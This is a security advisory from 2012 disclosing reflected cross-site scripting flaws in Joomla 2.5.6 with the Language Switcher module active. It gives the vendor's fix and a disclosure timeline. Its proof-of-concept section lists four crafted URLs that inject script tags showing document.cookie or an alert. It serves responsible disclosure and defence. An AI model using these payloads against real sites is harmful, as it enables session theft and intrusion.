Advisory: Joomla 2.5.6 Multiple Cross-site scripting vulnerabilities Advisory ID: SSCHADV2012-014 Author: Stefan Schurtz Affected Software: Successfully tested on Joomla 2.5.6 Vendor URL: http://www.joomla.org/ Vendor Status: fixed ========================== Vulnerability Description ========================== With activated "Module Language Switcher . position-4" (Extensions -> Modules -> Module Manager: Module Language Switcher), multiple XSS are possible. ================== PoC-Exploit ================== // with default sample content http://[target]/joomla/index.php/image-gallery/"><script>alert(document.cookie)</script>/25-koala http://[target]/joomla/index.php/image-gallery/"><script>alert('xss')</script>/25-koala http://[target]/joomla/index.php/image-gallery/animals/25-"><script>alert(document.cookie)</script> http://[target]/joomla/index.php/image-gallery/animals/25-"><script>alert('xss')</script> ========= Solution ========= Upgrade to version 2.5.7 ==================== Disclosure Timeline ==================== 28-Jun-2012 - vendor informed (security@joomla.org) 05-Jul-2012 - vendor informed again (security@joomla.org) 13-Sep-2012 - fixed by vendor ======== Credits ======== Vulnerabilities found and advisory written by Stefan Schurtz. =========== References =========== http://developer.joomla.org/security/news/540-20120902-core-xss-vulnerability http://www.darksecurity.de/advisories/2012/SSCHADV2012-014.txt